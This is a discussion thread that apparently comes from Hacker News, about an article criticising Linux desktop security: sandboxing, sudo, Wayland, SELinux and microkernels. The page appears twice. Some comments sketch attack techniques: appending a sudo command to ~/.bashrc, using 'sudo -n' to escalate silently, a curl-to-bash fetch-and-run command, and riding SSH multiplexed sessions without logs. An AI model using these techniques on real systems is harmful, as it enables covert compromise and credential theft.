8 ms·

Linux (In)Security

53 points by djsumdog 6y ago

justaj 6y ago
I wonder what the author thinks about grsecurity [0], and about the Kernel Self Protection Project [1] 0: https://www.grsecurity.net/ https://www.grsecurity.net/ 1: https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Pr...
- tptacek 6y ago
  The better comparison is to Qubes.
  - est31 6y ago
    Or Chrome OS. It's very different from the traditional GNU OS which allows it to be more secure but also more restricting in user freedoms.
thayne 6y ago
But are windows or mac osx any better?
- tptacek 6y ago
  On many of these items, yes. That's the premise of the post. It's not saying "computer science could be so much better than Linux achieves". It's saying Linux fails to achieve things that other systems do achieve.
  - jesseschalken 6y ago
    How is Windows any better? Last I checked installing things in Windows was still a matter of downloading random .exes from the Internet and running them as administrator, so all bets are off. And there's no sandboxing at runtime either, everything has permission to do whatever the user can do.
    - tptacek 6y ago
      The subtext of most of the points in the paragraphs of this post is stuff Windows does that Linux doesn't.
      - pengaru 6y ago
        I find it hard to believe that any contemporary operating system can robustly prevent a locally executing program from tricking the average desktop user into entering the administrator password equivalent to TFA's /tmp/sudo example, not on today's average computer. Once programs are running on the machine with the ability to put things on-screen and read keyboard input, this is a very hard problem without hardware-level SAK-like mechanisms which AFAIK no consumer devices include today. The updated mnt reform [0] has some potential for this kind of facility with a keyboard-embedded display connected to a standalone EC and a dedicated button on the keyboard for notifying the EC without the host's involvement. This should enable an actual SAK-like mechanism, where the EC takes over the keyboard for security-sensitive actions like password entry: > The keyboard not only works as a USB HID device, but it also has a direct UART > cable connection to the system controller on the motherboard. By pressing the > circle key, you can interact directly with the system controller, bypassing > the main SoC. To give you visual feedback for this interaction, we added a > tiny 128 x 32 pixel OLED on top of the keyboard. From here, you can check > charger and battery cell status/health without any operating system support on > the main SoC (even while you’re still installing an OS). The keyboard OLED and > direct interaction mechanism has more potential future uses, like a password > manager/wallet or notification display. It's a non-trivial problem even with hardware assistance, without any it seems impossible. [0] https://www.crowdsupply.com/mnt/reform https://www.crowdsupply.com/mnt/reform
        fsflover 6y ago
        > I find it hard to believe that any contemporary operating system can robustly prevent a locally executing program from tricking the average desktop user into entering the administrator password equivalent to TFA's /tmp/sudo example, not on today's average computer. Qubes OS can. Though it's not for the average users.
  - deleted 6y ago
    [deleted]
  - inshadows 6y ago
    Really? > The kernel is also very lacking in security. It is a monolithic kernel written entirely in a memory unsafe language and has hundreds of bugs, many being security vulnerabilities, found each month. In fact, there are so many bugs being found in the kernel, developers can’t keep up which results in many of the bugs staying unfixed for a long time. The kernel is also decades behind in exploit mitigations and many kernel developers simply do not care enough. Are you part of some community that gets access to Windows/MacOS kernel sources to search for vulnerabilities? Or are you getting reports about such vulnerabilities from Microsoft/Apple? I think not. I think that you're basing this argument on the amount of stuff you get to see online. Given that Linux Kernel lives under GPL that's expected. I'm not saying that Linux Kernel is holy and we should all bow and refrain from criticism. But you're judging it completely out of context.
    - wglb 6y ago
      >I think that you're basing this argument on the amount of stuff you get to see online I think you are incorrect, and your comment is not really within the site guidelines. He has done security work on all that you mention above, and many others.
      - inshadows 6y ago
        Thank you for ignoring my questions to the author and jumping right into tangent and appeal to authority. That assures me that author's claims are valid.
        tptacek 6y ago
        This is a pretty funny reply, given the comment he was responding to. I'm comfortable with the answer I provided to you myself, though.
      - wglb 6y ago
        One of the questions that I did not answer is >Really? My last sentence answers your question framed as an accusation. And it is not an appeal to authority, it is an appeal to published, verifiable experience. You can see this for yourself if you explore his comment history, or google for security research he published.
  - thayne 6y ago
    I'm not an expert on windows or mac, but here's my run-down: > There is no strong sandboxing in the standard desktop. I don't know of any strong sandboxing in Windows or Mac OSX, but that could just be my ignorance. > Most programs are written in memory unsafe languages such as C or C++ This is true on windows and Mac as well (let's include objective-c in there). > It is a monolithic kernel written entirely in a memory unsafe language Also true of windows and Mac. > has hundreds of bugs, many being security vulnerabilities, found each month. In fact, there are so many bugs being found in the kernel, developers can’t keep up which results in many of the bugs staying unfixed for a long time I don't know enough to comment on this. > a compromised non-root user account with access to sudo is almost equal to full root compromise Is this any different on windows or mac? Mac has sudo as well, and on windows, the main user is typically an administrator. > X’s lack of GUI isolation well, yeah. I don't know what the situation is like in windows and mac for this. But one of wayland's design goals is to fix this (although it also breaks things like screencasting...)
    - ibotty 6y ago
      Screencasting works great in wayland. You'll need different applications though because the protocol is fundamentally different.
      - thayne 6y ago
        It works ok, with some applications on some compositors. But firefox needs to be built with patches for webrtc to work. Zoom only works on gnome (it uses a gnome-specific dbus api). Sway requires running xdg-desktop-portal-wlr, which is still very much a work in progress. afaik there isn't any way to screencast a specific window. Tl;dr; it sorta works, but not as well as it did in X.
    - RcouF1uZ4gsC 6y ago
      > > It is a monolithic kernel written entirely in a memory unsafe language > Also true of windows and Mac. I believe Windows is hybrid kernel not a monolithic one. https://en.m.wikipedia.org/wiki/Hybrid_kernel https://en.m.wikipedia.org/wiki/Hybrid_kernel
deleted 6y ago
[deleted]
Mic92 6y ago
Hardening a side for most users Linux distributions however offer a different practical security advantage. While on Windows/macOS despite their apps stores it is still quite common to download applications from shady websites while in common Linux distributions most software comes from curated repositories.
totony 6y ago
Agreed, Linux is way behind in kernel and userland hardening. Things are slowly getting better, with some of grsec/PaX's features being merged upstream [0] and X being slowly replaced by wayland (but it still has issues before mass adoption). SELinux/Apparmor fix some issues, but their policies are not restrictive enough (and when they are, they get disabled because they're too user-unfriendly). Android did a good job integrating SELinux in their ecosystem to provide some sort of sandbox, I wish there were similar project for desktop Linux, but it seems only Redhat cares about SELinux in the OSS world (and they don't seem to have this kind of project in the works). sudo is Linux's UAC, and I agree that it is insecure, but its use is optional and with good selinux policies, you shouldn't be able to highjack it like in the OP (unfortunately, there are no good, easy-to-use selinux policies) Linux has too big an attack surface IMO and I wish microkernels like GNU/Hurd or seL4 would become more popular, but, like most things in OSS, there are not enough people interested. [0] https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Pr...
- gizmo686 6y ago
  Much of my job is based on writing SELinux policy. The problem is that SELinux is not well suited to the needs of a desktop environment. Consider a web browser. Ideally, it should not be able to read any local files (except its own). But sometimes, users want to use web browsers on local files; and sometimes users want to save/download web resources to arbitrary locations, so you end up needing to give browsers those permissions anyway. Redhat's approach is a targeted policy. Users and user applications run in an unconfined domain, while system and services run in a secured domain. Android uses a similar approach where SELinux provides system level protection (as well as application level isolation). However, the security model most people (even Android app developers) are familiar with is not SELinux. The difference between an app that has permission to use the microphone and one that does not is not SELinux. It is implemented by a userspace security manager. I am not fammilar with Apparmor, but I do not see how any solution based on the Linux kernel's security module system would be adequate. The type of security needed for a desktop system requires a lot of userspace work.
  - 6y ago
stuzenz 6y ago
I wonder if Redox (rust OS project) will take off one day. A lot of the goals of the project seem to line up well with dealing with issues noted in the post. A huge endeavour of course - to build an OS from the ground up. I hope they get there. ref: https://doc.redox-os.org/book/ch01-03-our-goals.html?highlight=security#our-goals https://doc.redox-os.org/book/ch01-03-our-goals.html?highlig... "Redox is an attempt to make a complete, fully-functioning, general-purpose operating system with a focus on safety, freedom, reliability, correctness, and pragmatism. We want to be able to use it, without obstructions, as an alternative to Linux on our computers. It should be able to run most Linux programs with only minimal modifications. We're aiming towards a complete, safe Rust ecosystem. This is a design choice, which hopefully improves correctness and security (see Why Rust). We want to improve the security design when compared to other Unix-like kernels by using safe defaults and disallowing insecure configurations where possible."
rossvor 6y ago
To give some context on the perspective this piece is written from, since the article doesn't provide a disclaimer -- the author is a developer of Whonix.
abjKT26nO8 6y ago
What is the point of wayland-keylogger[1] that is linked in the article? Do Wayland compositors normally run under a different user account than the one that logged in via the login manager? I see this as being an issue with full filesystem (or just home) access given to applications, but I don't see how LD_PRELOAD is the problem here. Yet the author of TFA seems to suggest that this is the issue. [1]: https://github.com/Aishou/wayland-keylogger https://github.com/Aishou/wayland-keylogger
inshadows 6y ago
I've read through the author's blog recently it got posted here. Author refers to many pseudo-weaknesses but does not accept that that's simply the current state of things and there's work to be done to make it better. IOW, author doesn't offer any alternative except implied use "Windows/Mac/Chrome because they say it's secure". I'm all about software rants, but you have to approach the problem from all sides instead of bitching like a teenager. Let's evaluate this one: > On ordinary desktops, a compromised non-root user account with access to sudo is almost equal to full root [...SNIP...] So author here probably means access to sudo where the account has the right to become root. Once someone compromises your account... well, that's it. The rest of the text is just garbage, many things are taken completely out of context. Once an attacker can run under your account she can just for instance append 'sudo /bin/.doevilstuff' to your ~/.bashrc.
- LinuxBender 6y ago
  be sure to add -n so that it silently fails (assuming you redirect output) and does not alert the user. If they have a sudo token active, then it will silently succeed. Here is an example: curl -s https://ohblog.org/test.txt | bash Read the test.txt file first of course.
  - inshadows 6y ago
    Why does sudo matter at all? If you run this curl it can literaly steal your Firefox credentials, your photos, record your passwords, ...
    - LinuxBender 6y ago
      Absolutely true. I was just adding a more silent way to use sudo without being detected. In fact, without sudo, I can still piggy-back on peoples SSH connections if they don't disable multiplexing. As an added bonus, there are no syslog entries when I ride that channel.
- commandlinefan 6y ago
  > implied use "Windows/Mac/Chrome because they say it's secure" Yeah, I had the same feeling - Windows is way worse in every way. Every vulnerability he points out in Linux is pretty much the same in OS/X. Make things better, of course, but Linux is still your best bet if you're concerned about security.
sbrass 6y ago
The author suggests that security has to be enforced by the system itself, i.e. by the usage of an appropriate programming language, security tools (e.g. sand-boxing, ...) and other. However, the author's comment fell short to honor the history of the kernel development, specify user applicability and discuss any improvements. I partly agree with the author, but "default" settings are a very sensitive topic (why he doesn't provide any suggestions?) and hardly to answer for every application scope. I don't think that Linux is more secure "than any other OS". First, we have a wide variety of Linux desktops. Second, when required, experienced (!) system administrators/business vendors invest a lot of time in order to get their system secure. However, (unexperienced) "home users" are at disadvantage, because of lack of knowledge. They would/will suffer from the perception of an superior security notion of Linux. We have to get that right. That's it.
blackrock 6y ago
When can microkernels finally become a reality? The previous complaints was that it was always slower than a monolithic kernel. But with all the multicores, memory, and SSD storage available today, then at some point, the extra processing becomes irrelevant.
- renox 6y ago
  - Spectre's mitigation are probably extra painful for microkernels. - AFAIK the most secure microkernel is SeL4, but AFAIK it isn't proven for multiple cores, and I wouldn't be surprised if (some) low-power settings of CPUs would give him troubles.
  - AstralStorm 6y ago
    And ultimately none of the microkernels has a credible set of drivers for a typical PC, much less verified ones. Drivers are a huge hole, especially easily accessible ones like video due to 3D APIs.
DmitryOlshansky 6y ago
> Due to inevitable pedanticism, "Linux" in this article refers to a standard Linux or GNU/Linux distro. I too sadly realize the dire need to post such disclaimers. Boy, these people are boring sometimes...
commandlinefan 6y ago
> the attacker can just setup their own fake sudo program to grab the user password. I've thought about that vulnerability a lot using enterprise SSO apps: it would be trivial for anybody inside a corporate firewall to set up, say, a ticketing app that presented an SSO sign-in box, recorded whatever was input, but responded to everything as success. An attacker could harvest a LOT of passwords that way before being caught.
- nielsole 6y ago
  That's why ideally you redirect people to the identity provider and teach users never to enter their password elsewhere.
greatgib 6y ago
This article is a piece of crap. It is not factual but playing on baseless fears. Like that something is unsafe just because not made with last hype language. Take go for example if anything unexpected happen, this shit trigger an assert that crash everything. Is it safe? Like the sudo example is ridiculous: the command allows you to execute a restricted command but it is not made to check your current environnement. It is safe if you know the context you are using. But if you just arrive on the screen of someone else ans it is asking for your password, sure it is unsafe to type your password: maybe you are not even in a Real shell, maybe all are just fake screen. For example, someone can create a rigged fake webbrowser and within tell you to connect to your facebook. Then ssl check marks does not help to ensure the safety. That is an user issue and not a platform issue!

53 points by djsumdog 6y ago

I wonder what the author thinks about grsecurity [0], and about the Kernel Self Protection Project [1] 0: https://www.grsecurity.net/ https://www.grsecurity.net/ 1: https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Pr...

tptacek 6y ago
The better comparison is to Qubes.
- est31 6y ago
  Or Chrome OS. It's very different from the traditional GNU OS which allows it to be more secure but also more restricting in user freedoms.

thayne 6y ago

But are windows or mac osx any better?

tptacek 6y ago
On many of these items, yes. That's the premise of the post. It's not saying "computer science could be so much better than Linux achieves". It's saying Linux fails to achieve things that other systems do achieve.
- jesseschalken 6y ago
  How is Windows any better? Last I checked installing things in Windows was still a matter of downloading random .exes from the Internet and running them as administrator, so all bets are off. And there's no sandboxing at runtime either, everything has permission to do whatever the user can do.
  - tptacek 6y ago
    The subtext of most of the points in the paragraphs of this post is stuff Windows does that Linux doesn't.
    - pengaru 6y ago
      I find it hard to believe that any contemporary operating system can robustly prevent a locally executing program from tricking the average desktop user into entering the administrator password equivalent to TFA's /tmp/sudo example, not on today's average computer. Once programs are running on the machine with the ability to put things on-screen and read keyboard input, this is a very hard problem without hardware-level SAK-like mechanisms which AFAIK no consumer devices include today. The updated mnt reform [0] has some potential for this kind of facility with a keyboard-embedded display connected to a standalone EC and a dedicated button on the keyboard for notifying the EC without the host's involvement. This should enable an actual SAK-like mechanism, where the EC takes over the keyboard for security-sensitive actions like password entry: > The keyboard not only works as a USB HID device, but it also has a direct UART > cable connection to the system controller on the motherboard. By pressing the > circle key, you can interact directly with the system controller, bypassing > the main SoC. To give you visual feedback for this interaction, we added a > tiny 128 x 32 pixel OLED on top of the keyboard. From here, you can check > charger and battery cell status/health without any operating system support on > the main SoC (even while you’re still installing an OS). The keyboard OLED and > direct interaction mechanism has more potential future uses, like a password > manager/wallet or notification display. It's a non-trivial problem even with hardware assistance, without any it seems impossible. [0] https://www.crowdsupply.com/mnt/reform https://www.crowdsupply.com/mnt/reform
      - fsflover 6y ago
        > I find it hard to believe that any contemporary operating system can robustly prevent a locally executing program from tricking the average desktop user into entering the administrator password equivalent to TFA's /tmp/sudo example, not on today's average computer. Qubes OS can. Though it's not for the average users.
- deleted 6y ago
  [deleted]
- inshadows 6y ago
  Really? > The kernel is also very lacking in security. It is a monolithic kernel written entirely in a memory unsafe language and has hundreds of bugs, many being security vulnerabilities, found each month. In fact, there are so many bugs being found in the kernel, developers can’t keep up which results in many of the bugs staying unfixed for a long time. The kernel is also decades behind in exploit mitigations and many kernel developers simply do not care enough. Are you part of some community that gets access to Windows/MacOS kernel sources to search for vulnerabilities? Or are you getting reports about such vulnerabilities from Microsoft/Apple? I think not. I think that you're basing this argument on the amount of stuff you get to see online. Given that Linux Kernel lives under GPL that's expected. I'm not saying that Linux Kernel is holy and we should all bow and refrain from criticism. But you're judging it completely out of context.
  - wglb 6y ago
    >I think that you're basing this argument on the amount of stuff you get to see online I think you are incorrect, and your comment is not really within the site guidelines. He has done security work on all that you mention above, and many others.
    - inshadows 6y ago
      Thank you for ignoring my questions to the author and jumping right into tangent and appeal to authority. That assures me that author's claims are valid.
      - tptacek 6y ago
        This is a pretty funny reply, given the comment he was responding to. I'm comfortable with the answer I provided to you myself, though.
    - wglb 6y ago
      One of the questions that I did not answer is >Really? My last sentence answers your question framed as an accusation. And it is not an appeal to authority, it is an appeal to published, verifiable experience. You can see this for yourself if you explore his comment history, or google for security research he published.
- thayne 6y ago
  I'm not an expert on windows or mac, but here's my run-down: > There is no strong sandboxing in the standard desktop. I don't know of any strong sandboxing in Windows or Mac OSX, but that could just be my ignorance. > Most programs are written in memory unsafe languages such as C or C++ This is true on windows and Mac as well (let's include objective-c in there). > It is a monolithic kernel written entirely in a memory unsafe language Also true of windows and Mac. > has hundreds of bugs, many being security vulnerabilities, found each month. In fact, there are so many bugs being found in the kernel, developers can’t keep up which results in many of the bugs staying unfixed for a long time I don't know enough to comment on this. > a compromised non-root user account with access to sudo is almost equal to full root compromise Is this any different on windows or mac? Mac has sudo as well, and on windows, the main user is typically an administrator. > X’s lack of GUI isolation well, yeah. I don't know what the situation is like in windows and mac for this. But one of wayland's design goals is to fix this (although it also breaks things like screencasting...)
  - ibotty 6y ago
    Screencasting works great in wayland. You'll need different applications though because the protocol is fundamentally different.
    - thayne 6y ago
      It works ok, with some applications on some compositors. But firefox needs to be built with patches for webrtc to work. Zoom only works on gnome (it uses a gnome-specific dbus api). Sway requires running xdg-desktop-portal-wlr, which is still very much a work in progress. afaik there isn't any way to screencast a specific window. Tl;dr; it sorta works, but not as well as it did in X.
  - RcouF1uZ4gsC 6y ago
    > > It is a monolithic kernel written entirely in a memory unsafe language > Also true of windows and Mac. I believe Windows is hybrid kernel not a monolithic one. https://en.m.wikipedia.org/wiki/Hybrid_kernel https://en.m.wikipedia.org/wiki/Hybrid_kernel

deleted 6y ago

[deleted]

Mic92 6y ago

Hardening a side for most users Linux distributions however offer a different practical security advantage. While on Windows/macOS despite their apps stores it is still quite common to download applications from shady websites while in common Linux distributions most software comes from curated repositories.

totony 6y ago

Agreed, Linux is way behind in kernel and userland hardening. Things are slowly getting better, with some of grsec/PaX's features being merged upstream [0] and X being slowly replaced by wayland (but it still has issues before mass adoption). SELinux/Apparmor fix some issues, but their policies are not restrictive enough (and when they are, they get disabled because they're too user-unfriendly). Android did a good job integrating SELinux in their ecosystem to provide some sort of sandbox, I wish there were similar project for desktop Linux, but it seems only Redhat cares about SELinux in the OSS world (and they don't seem to have this kind of project in the works). sudo is Linux's UAC, and I agree that it is insecure, but its use is optional and with good selinux policies, you shouldn't be able to highjack it like in the OP (unfortunately, there are no good, easy-to-use selinux policies) Linux has too big an attack surface IMO and I wish microkernels like GNU/Hurd or seL4 would become more popular, but, like most things in OSS, there are not enough people interested. [0] https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Pr...

gizmo686 6y ago
Much of my job is based on writing SELinux policy. The problem is that SELinux is not well suited to the needs of a desktop environment. Consider a web browser. Ideally, it should not be able to read any local files (except its own). But sometimes, users want to use web browsers on local files; and sometimes users want to save/download web resources to arbitrary locations, so you end up needing to give browsers those permissions anyway. Redhat's approach is a targeted policy. Users and user applications run in an unconfined domain, while system and services run in a secured domain. Android uses a similar approach where SELinux provides system level protection (as well as application level isolation). However, the security model most people (even Android app developers) are familiar with is not SELinux. The difference between an app that has permission to use the microphone and one that does not is not SELinux. It is implemented by a userspace security manager. I am not fammilar with Apparmor, but I do not see how any solution based on the Linux kernel's security module system would be adequate. The type of security needed for a desktop system requires a lot of userspace work.
- 6y ago

stuzenz 6y ago

I wonder if Redox (rust OS project) will take off one day. A lot of the goals of the project seem to line up well with dealing with issues noted in the post. A huge endeavour of course - to build an OS from the ground up. I hope they get there. ref: https://doc.redox-os.org/book/ch01-03-our-goals.html?highlight=security#our-goals https://doc.redox-os.org/book/ch01-03-our-goals.html?highlig... "Redox is an attempt to make a complete, fully-functioning, general-purpose operating system with a focus on safety, freedom, reliability, correctness, and pragmatism. We want to be able to use it, without obstructions, as an alternative to Linux on our computers. It should be able to run most Linux programs with only minimal modifications. We're aiming towards a complete, safe Rust ecosystem. This is a design choice, which hopefully improves correctness and security (see Why Rust). We want to improve the security design when compared to other Unix-like kernels by using safe defaults and disallowing insecure configurations where possible."

rossvor 6y ago

To give some context on the perspective this piece is written from, since the article doesn't provide a disclaimer -- the author is a developer of Whonix.

abjKT26nO8 6y ago

What is the point of wayland-keylogger[1] that is linked in the article? Do Wayland compositors normally run under a different user account than the one that logged in via the login manager? I see this as being an issue with full filesystem (or just home) access given to applications, but I don't see how LD_PRELOAD is the problem here. Yet the author of TFA seems to suggest that this is the issue. [1]: https://github.com/Aishou/wayland-keylogger https://github.com/Aishou/wayland-keylogger

inshadows 6y ago

I've read through the author's blog recently it got posted here. Author refers to many pseudo-weaknesses but does not accept that that's simply the current state of things and there's work to be done to make it better. IOW, author doesn't offer any alternative except implied use "Windows/Mac/Chrome because they say it's secure". I'm all about software rants, but you have to approach the problem from all sides instead of bitching like a teenager. Let's evaluate this one: > On ordinary desktops, a compromised non-root user account with access to sudo is almost equal to full root [...SNIP...] So author here probably means access to sudo where the account has the right to become root. Once someone compromises your account... well, that's it. The rest of the text is just garbage, many things are taken completely out of context. Once an attacker can run under your account she can just for instance append 'sudo /bin/.doevilstuff' to your ~/.bashrc.

LinuxBender 6y ago
be sure to add -n so that it silently fails (assuming you redirect output) and does not alert the user. If they have a sudo token active, then it will silently succeed. Here is an example: curl -s https://ohblog.org/test.txt | bash Read the test.txt file first of course.
- inshadows 6y ago
  Why does sudo matter at all? If you run this curl it can literaly steal your Firefox credentials, your photos, record your passwords, ...
  - LinuxBender 6y ago
    Absolutely true. I was just adding a more silent way to use sudo without being detected. In fact, without sudo, I can still piggy-back on peoples SSH connections if they don't disable multiplexing. As an added bonus, there are no syslog entries when I ride that channel.
commandlinefan 6y ago
> implied use "Windows/Mac/Chrome because they say it's secure" Yeah, I had the same feeling - Windows is way worse in every way. Every vulnerability he points out in Linux is pretty much the same in OS/X. Make things better, of course, but Linux is still your best bet if you're concerned about security.

sbrass 6y ago

The author suggests that security has to be enforced by the system itself, i.e. by the usage of an appropriate programming language, security tools (e.g. sand-boxing, ...) and other. However, the author's comment fell short to honor the history of the kernel development, specify user applicability and discuss any improvements. I partly agree with the author, but "default" settings are a very sensitive topic (why he doesn't provide any suggestions?) and hardly to answer for every application scope. I don't think that Linux is more secure "than any other OS". First, we have a wide variety of Linux desktops. Second, when required, experienced (!) system administrators/business vendors invest a lot of time in order to get their system secure. However, (unexperienced) "home users" are at disadvantage, because of lack of knowledge. They would/will suffer from the perception of an superior security notion of Linux. We have to get that right. That's it.

blackrock 6y ago

When can microkernels finally become a reality? The previous complaints was that it was always slower than a monolithic kernel. But with all the multicores, memory, and SSD storage available today, then at some point, the extra processing becomes irrelevant.

renox 6y ago
- Spectre's mitigation are probably extra painful for microkernels. - AFAIK the most secure microkernel is SeL4, but AFAIK it isn't proven for multiple cores, and I wouldn't be surprised if (some) low-power settings of CPUs would give him troubles.
- AstralStorm 6y ago
  And ultimately none of the microkernels has a credible set of drivers for a typical PC, much less verified ones. Drivers are a huge hole, especially easily accessible ones like video due to 3D APIs.

DmitryOlshansky 6y ago

> Due to inevitable pedanticism, "Linux" in this article refers to a standard Linux or GNU/Linux distro. I too sadly realize the dire need to post such disclaimers. Boy, these people are boring sometimes...

commandlinefan 6y ago

> the attacker can just setup their own fake sudo program to grab the user password. I've thought about that vulnerability a lot using enterprise SSO apps: it would be trivial for anybody inside a corporate firewall to set up, say, a ticketing app that presented an SSO sign-in box, recorded whatever was input, but responded to everything as success. An attacker could harvest a LOT of passwords that way before being caught.

nielsole 6y ago
That's why ideally you redirect people to the identity provider and teach users never to enter their password elsewhere.

greatgib 6y ago

This article is a piece of crap. It is not factual but playing on baseless fears. Like that something is unsafe just because not made with last hype language. Take go for example if anything unexpected happen, this shit trigger an assert that crash everything. Is it safe? Like the sudo example is ridiculous: the command allows you to execute a restricted command but it is not made to check your current environnement. It is safe if you know the context you are using. But if you just arrive on the screen of someone else ans it is asking for your password, sure it is unsafe to type your password: maybe you are not even in a Real shell, maybe all are just fake screen. For example, someone can create a rigged fake webbrowser and within tell you to connect to your facebook. Then ssl check marks does not help to ensure the safety. That is an user issue and not a platform issue!